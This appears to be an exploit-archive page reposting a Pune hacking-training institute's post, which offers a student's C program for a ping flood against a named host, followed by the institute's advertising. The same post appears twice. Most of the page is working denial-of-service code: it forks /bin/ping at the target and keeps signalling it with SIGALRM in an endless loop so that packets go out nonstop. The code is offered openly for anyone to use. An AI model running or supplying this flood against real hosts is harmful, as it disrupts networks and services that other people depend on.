Filename | Ping Flood Program in C |
Permission | rw-r--r-- |
Author | Unknown |
Date and Time | 3/29/2013 |
Label | Penetration |
Action |
Ethical Hacking Institute in Pune
./Arizona Team
Arizona students rocked one more time, this time one of the students coded a Ping Flood Program in C language. Code in public for all of you. keep learning keep growing.
Code:
#include <signal.h>
#define PING "/bin/ping"
main( int argc, char *argv[] )
{
int pid_ping;
if (argc < 2) {
printf("use: %s <hostname>\n", argv[0]);
exit(0);
}
if(!(pid_ping = fork()))
execl(PING, "ping", argv[1], NULL);
if ( pid_ping <=0 ) {
printf("pid <= 0\n");
exit(1);
}
sleep (1);
while (1)
if ( kill(pid_ping, SIGALRM) )
exit(1);
}
www.arizonainfotech.com
CEH CHFI ECSA ENSA CCNA CCNA SECURITY MCITP RHCE CLOUD ANDROID IPHONE NETWORKING HARDWARE TRAINING INSTITUTE IN PUNE
./Arizona Team
Arizona students rocked one more time, this time one of the students coded a Ping Flood Program in C language. Code in public for all of you. keep learning keep growing.
Code:
#include <signal.h>
#define PING "/bin/ping"
main( int argc, char *argv[] )
{
int pid_ping;
if (argc < 2) {
printf("use: %s <hostname>\n", argv[0]);
exit(0);
}
if(!(pid_ping = fork()))
execl(PING, "ping", argv[1], NULL);
if ( pid_ping <=0 ) {
printf("pid <= 0\n");
exit(1);
}
sleep (1);
while (1)
if ( kill(pid_ping, SIGALRM) )
exit(1);
}
www.arizonainfotech.com
CEH CHFI ECSA ENSA CCNA CCNA SECURITY MCITP RHCE CLOUD ANDROID IPHONE NETWORKING HARDWARE TRAINING INSTITUTE IN PUNE